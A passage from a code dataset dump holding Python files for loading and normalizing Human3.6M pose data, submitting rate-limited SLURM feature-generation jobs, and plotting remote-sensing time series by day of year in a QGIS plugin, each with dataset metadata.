SH_NAMES])\n assert np.all( SH_TO_GT_PERM == np.array([6,2,1,0,3,4,5,7,8,9,13,14,15,12,11,10]) )\n\n data = {}\n\n for subj in subjects:\n for action in actions:\n\n print('Reading subject {0}, action {1}'.format(subj, action))\n\n dpath = os.path.join( data_dir, 'S{0}'.format(subj), 'StackedHourglass/{0}*.h5'.format(action) )\n print( dpath )\n\n fnames = glob.glob( dpath )\n\n loaded_seqs = 0\n for fname in fnames:\n seqname = os.path.basename( fname )\n seqname = seqname.replace('_',' ')\n\n # This rule makes sure SittingDown is not loaded when Sitting is requested\n if action == \"Sitting\" and seqname.startswith( \"SittingDown\" ):\n continue\n\n # This rule makes sure that WalkDog and WalkTogeter are not loaded when\n # Walking is requested.\n if seqname.startswith( action ):\n print( fname )\n loaded_seqs = loaded_seqs + 1\n\n # Load the poses from the .h5 file\n with h5py.File( fname, 'r' ) as h5f:\n poses = h5f['poses'][:]\n\n # Permute the loaded data to make it compatible with H36M\n poses = poses[:,SH_TO_GT_PERM,:]\n\n # Reshape into n x (32*2) matrix\n poses = np.reshape(poses,[poses.shape[0], -1])\n poses_final = np.zeros([poses.shape[0], len(H36M_NAMES)*2])\n\n dim_to_use_x = np.where(np.array([x != '' and x != 'Neck/Nose' for x in H36M_NAMES]))[0] * 2\n dim_to_use_y = dim_to_use_x+1\n\n dim_to_use = np.zeros(len(SH_NAMES)*2,dtype=np.int32)\n dim_to_use[0::2] = dim_to_use_x\n dim_to_use[1::2] = dim_to_use_y\n poses_final[:,dim_to_use] = poses\n seqname = seqname+'-sh'\n data[ (subj, action, seqname) ] = poses_final\n\n # Make sure we loaded 8 sequences\n if (subj == 11 and action == 'Directions'): # <-- this video is damaged\n assert loaded_seqs == 7, \"Expecting 7 sequences, found {0} instead. S:{1} {2}\".format(loaded_seqs, subj, action )\n else:\n assert loaded_seqs == 8, \"Expecting 8 sequences, found {0} instead. S:{1} {2}\".format(loaded_seqs, subj, action )\n\n return data\n\n\ndef normalization_stats(complete_data, dim, predict_14=False ):\n\n if not dim in [2,3]:\n raise(ValueError, 'dim must be 2 or 3')\n\n data_mean = np.mean(complete_data, axis=0)\n data_std = np.std(complete_data, axis=0)\n\n # Encodes which 17 (or 14) 2d-3d pairs we are predicting\n dimensions_to_ignore = []\n if dim == 2:\n dimensions_to_use = np.where(np.array([x != '' and x != 'Neck/Nose' for x in H36M_NAMES]))[0]\n dimensions_to_use = np.sort( np.hstack( (dimensions_to_use*2, dimensions_to_use*2+1)))\n dimensions_to_ignore = np.delete( np.arange(len(H36M_NAMES)*2), dimensions_to_use )\n else: # dim == 3\n dimensions_to_use = np.where(np.array([x != '' for x in H36M_NAMES]))[0]\n dimensions_to_use = np.delete( dimensions_to_use, [0,7,9] if predict_14 else 0 )\n\n dimensions_to_use = np.sort( np.hstack( (dimensions_to_use*3,\n dimensions_to_use*3+1,\n dimensions_to_use*3+2)))\n dimensions_to_ignore = np.delete( np.arange(len(H36M_NAMES)*3), dimensions_to_use )\n\n return data_mean, data_std, dimensions_to_ignore, dimensions_to_use\n\n\ndef transform_world_to_camera(poses_set, cams, ncams=4 ):\n\n t3d_camera = {}\n for t3dk in sorted( poses_set.keys() ):\n\n subj, action, seqname = t3dk\n t3d_world = poses_set[ t3dk ]\n\n for c in range( ncams ):\n R, T, f, c, k, p, name = cams[ (subj, c+1) ]\n camera_coord = cameras.world_to_camera_frame( np.reshape(t3d_world, [-1, 3]), R, T)\n camera_coord = np.reshape( camera_coord, [-1, len(H36M_NAMES)*3] )\n\n sname = seqname[:-3]+\".\"+name+\".h5\" # e.g.: Waiting 1.58860488.h5\n t3d_camera[ (subj, action, sname) ] = camera_coord\n\n return t3d_camera\n\n\ndef normalize_data(data, data_mean, data_std, dim_to_use ):\n\n data_out = {}\n\n for key in data.keys():\n data[ key ] = data[ key ][ :, dim_to_use ]\n mu = data_mean[dim_to_use]\n stddev = data_std[dim_to_use]\n data_out[ key ] = np.divide( (data[key] - mu), stddev )\n\n return data_out\n\n\ndef unNormalizeData(normalized_data, data_mean, data_std, dimensions_to_ignore):\n\n T = normalized_data.shape[0] # Batch size\n D = data_mean.shape[0] # Dimensionality\n\n orig_data = np.zeros((T, D), dtype=np.float32)\n dimensions_to_use = np.array([dim for dim in range(D)\n if dim not in dimensions_to_ignore])\n\n orig_data[:, dimensions_to_use] = normalized_data\n\n # Multiply times stdev and add the mean\n stdMat = data_std.reshape((1, D))\n stdMat = np.repeat(stdMat, T, axis=0)\n meanMat = data_mean.reshape((1, D))\n meanMat = np.repeat(meanMat, T, axis=0)\n orig_data = np.multiply(orig_data, stdMat) + meanMat\n return orig_data\n\n\ndef define_actions( action ):\n\n actions = [\"Directions\",\"Discussion\",\"Eating\",\"Greeting\",\n \"Phoning\",\"Photo\",\"Posing\",\"Purchases\",\n \"Sitting\",\"SittingDown\",\"Smoking\",\"Waiting\",\n \"WalkDog\",\"Walking\",\"WalkTogether\"]\n\n if action == \"All\" or action == \"all\":\n return actions\n\n if not action in actions:\n raise( ValueError, \"Unrecognized action: %s\" % action )\n\n return [action]\n\n\ndef project_to_cameras( poses_set, cams, ncams=4 ):\n\n t2d = {}\n\n for t3dk in sorted( poses_set.keys() ):\n subj, a, seqname = t3dk\n t3d = poses_set[ t3dk ]\n\n for cam in range( ncams ):\n R, T, f, c, k, p, name = cams[ (subj, cam+1) ]\n pts2d, _, _, _, _ = cameras.project_point_radial( np.reshape(t3d, [-1, 3]), R, T, f, c, k, p )\n\n pts2d = np.reshape( pts2d, [-1, len(H36M_NAMES)*2] )\n sname = seqname[:-3]+\".\"+name+\".h5\" # e.g.: Waiting 1.58860488.h5\n t2d[ (subj, a, sname) ] = pts2d\n\n return t2d\n\n\ndef read_2d_predictions( actions, data_dir ):\n\n\n train_set = load_stacked_hourglass( data_dir, TRAIN_SUBJECTS, actions)\n test_set = load_stacked_hourglass( data_dir, TEST_SUBJECTS, actions)\n\n complete_train = copy.deepcopy( np.vstack( train_set.values() ))\n data_mean, data_std, dim_to_ignore, dim_to_use = normalization_stats( complete_train, dim=2 )\n\n train_set = normalize_data( train_set, data_mean, data_std, dim_to_use )\n test_set = normalize_data( test_set, data_mean, data_std, dim_to_use )\n\n return train_set, test_set, data_mean, data_std, dim_to_ignore, dim_to_use\n\n\ndef create_2d_data( actions, data_dir, rcams ):\n\n\n # Load 3d data\n train_set = load_data( data_dir, TRAIN_SUBJECTS, actions, dim=3 )\n test_set = load_data( data_dir, TEST_SUBJECTS, actions, dim=3 )\n\n train_set = project_to_cameras( train_set, rcams )\n test_set = project_to_cameras( test_set, rcams )\n\n # Compute normalization statistics.\n complete_train = copy.deepcopy( np.vstack( train_set.values() ))\n data_mean, data_std, dim_to_ignore, dim_to_use = normalization_stats( complete_train, dim=2 )\n\n # Divide every dimension independently\n train_set = normalize_data( train_set, data_mean, data_std, dim_to_use )\n test_set = normalize_data( test_set, data_mean, data_std, dim_to_use )\n\n return train_set, test_set, data_mean, data_std, dim_to_ignore, dim_to_use\n\n\ndef read_3d_data( actions, data_dir, camera_frame, rcams, predict_14=False ):\n\n # Load 3d data\n train_set = load_data( data_dir, TRAIN_SUBJECTS, actions, dim=3 )\n test_set = load_data( data_dir, TEST_SUBJECTS, actions, dim=3 )\n\n if camera_frame:\n train_set = transform_world_to_camera( train_set, rcams )\n test_set = transform_world_to_camera( test_set, rcams )\n\n # Apply 3d post-processing (centering around root)\n train_set, train_root_positions = postprocess_3d( train_set )\n test_set, test_root_positions = postprocess_3d( test_set )\n\n # Compute normalization statistics\n complete_train = copy.deepcopy( np.vstack( train_set.values() ))\n data_mean, data_std, dim_to_ignore, dim_to_use = normalization_stats( complete_train, dim=3, predict_14=predict_14 )\n\n # Divide every dimension independently\n train_set = normalize_data( train_set, data_mean, data_std, dim_to_use )\n test_set = normalize_data( test_set, data_mean, data_std, dim_to_use )\n\n return train_set, test_set, data_mean, data_std, dim_to_ignore, dim_to_use, train_root_positions, test_root_positions\n\n\ndef postprocess_3d( poses_set ):\n\n root_positions = {}\n for k in poses_set.keys():\n # Keep track of the global position\n root_positions[k] = copy.deepcopy(poses_set[k][:,:3])\n\n # Remove the root from the 3d position\n poses = poses_set[k]\n poses = poses - np.tile( poses[:,:3], [1, len(H36M_NAMES)] )\n poses_set[k] = poses\n\n return poses_set, root_positions\n", "sub_path": "src/data_utils.py", "file_name": "data_utils.py", "file_ext": "py", "file_size_in_byte": 12444, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 149, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 186, "usage_type": "call"}, {"api_name": "cameras.world_to_camera_frame", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 228, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 239, "usage_type": "call"}, {"api_name": "cameras.project_point_radial", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 271, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 284, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 304, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 329, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 329, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 344, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 348, "usage_type": "call"}]} +{"seq_id": "148890442", "text": "#!/usr/bin/env python\nimport os\nimport pathlib\nimport time\nimport argparse\nimport pandas as pd\nimport numpy as np\nimport yaml\n\n\nBASE_DIR = pathlib.Path(__file__).parent.parent.absolute()\n\n# Read config file\nconfig_path = pathlib.Path(__file__).parent.parent.absolute() / \"config.yaml\"\nwith open(config_path) as config_yaml:\n config = yaml.load(config_yaml, Loader=yaml.FullLoader)\n\nfields_to_run = config['feature_generation']['fields_to_run']\n\n\ndef parse_commandline():\n \"\"\"\n Parse the options given on the command-line.\n \"\"\"\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"--dirname\",\n type=str,\n default='generated_features',\n help=\"Directory name for generated features\",\n )\n parser.add_argument(\n \"--filename\",\n type=str,\n default='gen_features',\n help=\"Prefix for generated feature file\",\n )\n parser.add_argument(\n \"-f\", \"--filetype\", default=\"slurm\", help=\"Type of submission file\"\n )\n parser.add_argument(\n \"--doSubmit\",\n action=\"store_true\",\n default=False,\n help=\"If set, start jobs with limits specified by --max_instances and --wait_time_minutes\",\n )\n parser.add_argument(\n \"--max_instances\",\n type=int,\n default=20,\n help=\"Max number of instances to run in parallel\",\n )\n parser.add_argument(\n \"--wait_time_minutes\",\n type=float,\n default=5.0,\n help=\"Time to wait between job status checks\",\n )\n parser.add_argument(\n \"--doSubmitLoop\",\n action=\"store_true\",\n default=False,\n help=\"If set, loop to initiate instances until out of jobs (hard on Kowalski)\",\n )\n parser.add_argument(\n \"--runParallel\",\n action=\"store_true\",\n default=False,\n help=\"If set, run jobs in parallel using slurm. Otherwise, run in series on a single instance.\",\n )\n parser.add_argument(\n \"--user\",\n type=str,\n default=\"bhealy\",\n help=\"HPC username\",\n )\n\n args = parser.parse_args()\n\n return args\n\n\ndef filter_completed(df, resultsDir, filename):\n\n start_time = time.time()\n\n tbd = []\n for ii, (_, row) in enumerate(df.iterrows()):\n\n field, ccd, quadrant = int(row[\"field\"]), int(row[\"ccd\"]), int(row[\"quadrant\"])\n\n resultsDir_iter = resultsDir + f\"/field_{field}\"\n filename_iter = filename + f\"_field_{field}_ccd_{ccd}_quad_{quadrant}\"\n filename_iter += '.parquet'\n filepath = os.path.join(resultsDir_iter, filename_iter)\n\n if not os.path.isfile(filepath):\n tbd.append(ii)\n else:\n print(filepath)\n df = df.iloc[tbd]\n df.reset_index(inplace=True, drop=True)\n\n end_time = time.time()\n print('Checking completed jobs took %.2f seconds' % (end_time - start_time))\n\n return df\n\n\ndef run_job(df, quadrant_index, resultsDir, filename, runParallel=False):\n\n row = df.iloc[quadrant_index]\n field, ccd, quadrant = int(row[\"field\"]), int(row[\"ccd\"]), int(row[\"quadrant\"])\n\n resultsDir += f\"/field_{field}\"\n filename += f\"_field_{field}_ccd_{ccd}_quad_{quadrant}\"\n filename += '.parquet'\n filepath = os.path.join(resultsDir, filename)\n\n if not os.path.isfile(filepath):\n if runParallel:\n sbatchstr = f\"sbatch --export=QID={row['job_number']} {qsubfile}\"\n print(sbatchstr)\n os.system(sbatchstr)\n else:\n jobstr = jobline.replace(\"$QID\", \"%d\" % row[\"job_number\"])\n print(jobstr)\n os.system(jobstr)\n\n\nif __name__ == '__main__':\n # Parse command line\n args = parse_commandline()\n\n dir_path = os.path.dirname(os.path.realpath(__file__))\n\n filename = args.filename\n filetype = args.filetype\n dirname = args.dirname\n resultsDir = str(BASE_DIR / dirname)\n\n qsubDir = os.path.join(resultsDir, filetype)\n if not os.path.isdir(qsubDir):\n os.makedirs(qsubDir)\n qsubfile = os.path.join(qsubDir, '%s.sub' % filetype)\n\n lines = [line.rstrip('\\n') for line in open(qsubfile)]\n jobline = lines[-1]\n joblineSplit = list(filter(None, jobline.split(\"algorithm\")[-1].split(\" \")))\n algorithm = joblineSplit[0]\n\n quadrantfile = os.path.join(qsubDir, '%s.dat' % filetype)\n\n names = [\"job_number\", \"field\", \"ccd\", \"quadrant\"]\n\n df_original = pd.read_csv(quadrantfile, header=None, delimiter=' ', names=names)\n pd.set_option('display.max_columns', None)\n\n if fields_to_run is not None:\n print(f\"Running fields {fields_to_run}.\")\n field_mask = np.isin(df_original['field'], fields_to_run)\n df_filtered = df_original[field_mask].reset_index(drop=True)\n else:\n df_filtered = df_original\n\n df = filter_completed(df_filtered, resultsDir, filename)\n njobs = len(df)\n print('%d jobs remaining...' % njobs)\n\n if args.doSubmit:\n counter = 0\n status_njobs = njobs\n diff_njobs = 0\n size = args.max_instances\n final_round = False\n while njobs > 0:\n # Limit number of parallel jobs for Kowalski stability\n if counter < args.max_instances:\n # Avoid choosing same index multiple times in one round of jobs\n rng = np.random.default_rng()\n quadrant_indices = rng.choice(njobs, size=size, replace=False)\n\n for quadrant_index in quadrant_indices:\n run_job(\n df,\n quadrant_index,\n resultsDir,\n filename,\n runParallel=args.runParallel,\n )\n counter += 1\n\n print(f\"Instances available: {args.max_instances - counter}\")\n\n if final_round:\n print('The final jobs in the run have been queued - breaking loop.')\n print(\n 'Run \"squeue -u \" to check status of remaining jobs.'\n )\n break\n else:\n # Wait between status checks\n os.system(f\"squeue -u {args.user}\")\n print(f\"Waiting {args.wait_time_minutes} minutes until next check...\")\n time.sleep(args.wait_time_minutes * 60)\n\n # Filter completed runs, redefine njobs\n df = filter_completed(df, resultsDir, filename)\n njobs = len(df)\n print('%d jobs remaining...' % njobs)\n\n # Compute difference in njobs to count available instances\n diff_njobs = status_njobs - njobs\n status_njobs = njobs\n\n # Decrease counter if jobs have finished\n counter -= diff_njobs\n\n # Define size of the next quadrant_indices array\n size = np.min([args.max_instances - counter, njobs])\n # Signal to stop looping when the last set of jobs is queued\n if size == njobs:\n final_round = True\n\n elif args.doSubmitLoop:\n confirm = input(\n \"Warning: setting --doSubmitLoop ignores limits on number of jobs to submit. Continue? (yes/no): \"\n )\n if confirm in ['yes', 'Yes', 'YES']:\n for quadrant_index in range(njobs):\n run_job(\n df,\n quadrant_index,\n resultsDir,\n filename,\n runParallel=args.runParallel,\n )\n else:\n print('Canceled loop submission.')\n", "sub_path": "tools/generate_features_job_submission.py", "file_name": "generate_features_job_submission.py", "file_ext": "py", "file_size_in_byte": 7613, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pathlib.Path", "line_number": 11, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 14, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 16, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 16, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 25, "usage_type": "call"}, {"api_name": "time.time", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 125, "usage_type": "call"}, {"api_name": "os.system", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path", "line_number": 143, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 157, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.isin", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.random.default_rng", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 181, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 204, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 221, "usage_type": "call"}]} +{"seq_id": "289059601", "text": "# -*- coding: utf-8 -*-\n# vim: set expandtab:ts=4\n\"\"\"\n/***************************************************************************\n Within-year timeseries plot (years represented using colors)\n A QGIS plugin\n Plugin for visualization and analysis of remote sensing time series \n -------------------\n begin : 2013-03-15\n copyright : (C) 2013 by Chris Holden\n email : ceholden@gmail.com\n ***************************************************************************/\n\n/***************************************************************************\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************/\n\"\"\"\n\nimport os\n\nimport matplotlib as mpl\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_qt4agg \\\n import FigureCanvasQTAgg as FigureCanvas\nimport mpl_toolkits.axes_grid1 as mpl_grid\n\nimport numpy as np\n\nfrom tstools.ts_driver.ts_manager import tsm\nfrom tstools import settings as setting\n\n# Note: FigureCanvas is also a QWidget\nclass DOYPlot(FigureCanvas):\n\n def __str__(self):\n return \"Stacked Day of Year Plot\"\n\n def __init__(self, parent=None):\n ### Setup datasets\n # Actual data\n self.x = np.zeros(0)\n self.year = np.zeros(0)\n self.y = np.zeros(0)\n # Modeled fitted data\n self.mx = np.zeros(0)\n self.mx_year = np.zeros(0)\n self.my = np.zeros(0)\n # Location of pixel plotted\n self.px = None\n self.py = None\n\n # Store colorbar so we know to delete\n self.cbar = None\n # Store range of data\n self.yr_range = (0, 1)\n\n # Setup plots\n self.setup_plots()\n self.plot()\n\n def setup_plots(self):\n self.fig = Figure()\n self.axes = self.fig.add_subplot(111)\n FigureCanvas.__init__(self, self.fig)\n self.setAutoFillBackground(False)\n self.axes.set_ylim([0, 10000])\n self.fig.tight_layout()\n\n def update_plot(self):\n \"\"\" Fetches new information and then calls plot\n \"\"\"\n self.px, self.py = tsm.ts.get_px(), tsm.ts.get_py()\n if self.px is not None and self.py is not None:\n # Add + 1 so we index on 1,1 instead of 0,0 (as in ENVI/MATLAB)\n self.px, self.py = self.px + 1, self.py + 1\n\n self.x = np.array([int(d.strftime('%j')) for d in tsm.ts.dates])\n self.year = np.array([d.year for d in tsm.ts.dates])\n self.y = tsm.ts.get_data(setting.plot['mask'])[setting.plot['band'], :]\n\n if setting.plot['fit'] is True and tsm.ts.result is not None:\n if len(tsm.ts.result) > 0:\n self.mx, self.my = tsm.ts.get_prediction(setting.plot['band'])\n else:\n self.mx, self.my = (np.zeros(0), np.zeros(0))\n\n self.mx_year = []\n for _mx in self.mx:\n self.mx_year.append(np.array([d.year for d in _mx]))\n\n if setting.plot['break'] is True and tsm.ts.result is not None:\n if len(tsm.ts.result) > 1:\n self.bx, self.by = tsm.ts.get_breaks(setting.plot['band'])\n else:\n self.bx, self.by = (np.zeros(0), np.zeros(0))\n self.plot()\n\n def plot(self):\n \"\"\" Matplotlib plot of time series stacked by DOY\n \"\"\"\n self.axes.clear()\n\n title = 'Time series - row: {r} col: {c}'.format(\n r=str(self.py), c=str(self.px))\n self.axes.set_title(title)\n\n self.axes.set_xlabel('Day of Year')\n if tsm.ts is None:\n self.axes.set_ylabel('Band')\n else:\n self.axes.set_ylabel(tsm.ts.band_names[setting.plot['band']])\n\n self.axes.grid(True)\n self.axes.set_ylim([setting.plot['min'][setting.plot['band']],\n setting.plot['max'][setting.plot['band']]])\n self.axes.set_xlim(0, 366)\n\n if setting.plot['xmin'] is not None \\\n and setting.plot['xmax'] is not None:\n # Find array indexes for year range\n self.yr_range = np.arange(\n np.where(self.year >= setting.plot['xmin'])[0][0],\n np.where(self.year <= setting.plot['xmax'])[0][-1])\n else:\n self.yr_range = np.arange(0, self.year.shape[0])\n\n # Specify the year min and max\n yr_min = 0\n yr_max = 1\n if len(self.year) > 0:\n yr_min = self.year.min()\n yr_max = self.year.max()\n\n # Setup colormap and mapper\n cmap = mpl.cm.get_cmap('jet')\n norm = mpl.colors.Normalize(vmin=yr_min, vmax=yr_max)\n mapper = mpl.cm.ScalarMappable(norm=norm, cmap=cmap)\n\n # Plot\n sp = self.axes.scatter(self.x[self.yr_range], self.y[self.yr_range],\n cmap=cmap, c=self.year[self.yr_range],\n norm=norm,\n marker='o', edgecolors='none', s=25,\n picker=setting.plot['picker_tol'])\n\n # Only put colorbar if we have data\n if tsm.ts is not None:\n # Setup layout to add space\n # http://matplotlib.org/mpl_toolkits/axes_grid/users/overview.html#axesdivider\n divider = mpl_grid.make_axes_locatable(self.axes)\n cax = divider.append_axes('right', size='5%', pad=0.05)\n # Reset colorbar so it doesn't overwrite itself...\n if self.cbar is not None:\n self.fig.delaxes(self.fig.axes[1])\n self.fig.subplots_adjust(right=0.90)\n self.cbar = self.fig.colorbar(sp, cax=cax)\n\n if setting.plot['fit'] is True:\n med_year = []\n fit_plt = []\n # Find median year and plot that result\n for n, _yr in enumerate(self.mx_year):\n # Make sure _yr is not empty array\n if len(_yr) == 0:\n continue\n # Determine median year\n med = int(np.median(_yr))\n # Make sure median year is in our current x-axis\n if setting.plot['xmin'] > med or setting.plot['xmax'] < med:\n continue\n med_year.append(med)\n\n # Determine line color\n col = mapper.to_rgba(med)\n\n # Get index from mx predicted data for median year\n fit_range = np.arange(\n np.where(_yr == med)[0][0],\n np.where(_yr == med)[0][-1])\n\n # Recreate as DOY\n mx_doy = np.array([int(d.strftime('%j')) for d in\n self.mx[n][fit_range]])\n\n # Plot\n seg, = self.axes.plot(mx_doy, self.my[n][fit_range],\n color=col, linewidth=2)\n fit_plt.append(seg)\n\n if len(med_year) > 0:\n self.axes.legend(fit_plt,\n ['Fit {n}: {y}'.format(n=n + 1, y=y)\n for n, y in enumerate(med_year)])\n\n # Redraw\n self.fig.tight_layout()\n self.fig.canvas.draw()\n\n def save_plot(self):\n \"\"\" Save the matplotlib figure\n \"\"\"\n ### Parse options from settings\n fname = setting.save_plot['fname']\n fformat = setting.save_plot['format']\n facecolor = setting.save_plot['facecolor']\n edgecolor = setting.save_plot['edgecolor']\n transparent = setting.save_plot['transparent']\n ### Format the output path\n directory = os.path.split(fname)[0]\n # Check for file extension\n if '.' not in os.path.split(fname)[1]:\n filename = '{f}.{e}'.format(f=os.path.split(fname)[1], e=fformat)\n # Add in directory if none\n if directory == '':\n directory = '.'\n # If directory does not exist, return False\n if not os.path.exists(directory):\n return False\n # Join and save\n filename = os.path.join(directory, filename)\n\n self.fig.savefig(filename, format=fformat,\n facecolor=facecolor, edgecolor=edgecolor,\n transparent=transparent)\n\n return True\n\n def disconnect(self):\n pass\n", "sub_path": "src/plots/plot_doy.py", "file_name": "plot_doy.py", "file_ext": "py", "file_size_in_byte": 8777, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvasQTAgg", "line_number": 38, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.figure.Figure", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvasQTAgg.__init__", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_qt4agg.FigureCanvasQTAgg", "line_number": 69, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts.get_px", "line_number": 77, "usage_type": "call"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 77, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 77, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts.get_py", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 82, "usage_type": "call"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 83, "usage_type": "call"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 83, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 83, "usage_type": "name"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts.get_data", "line_number": 84, "usage_type": "call"}, {"api_name": "tstools.ts_driver.ts_manager.tsm.ts", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tstools.ts_driver.ts_manager.tsm", "line_number": 84, "usage_type": "name"}, {"api_name": "tstools.settings.plot", 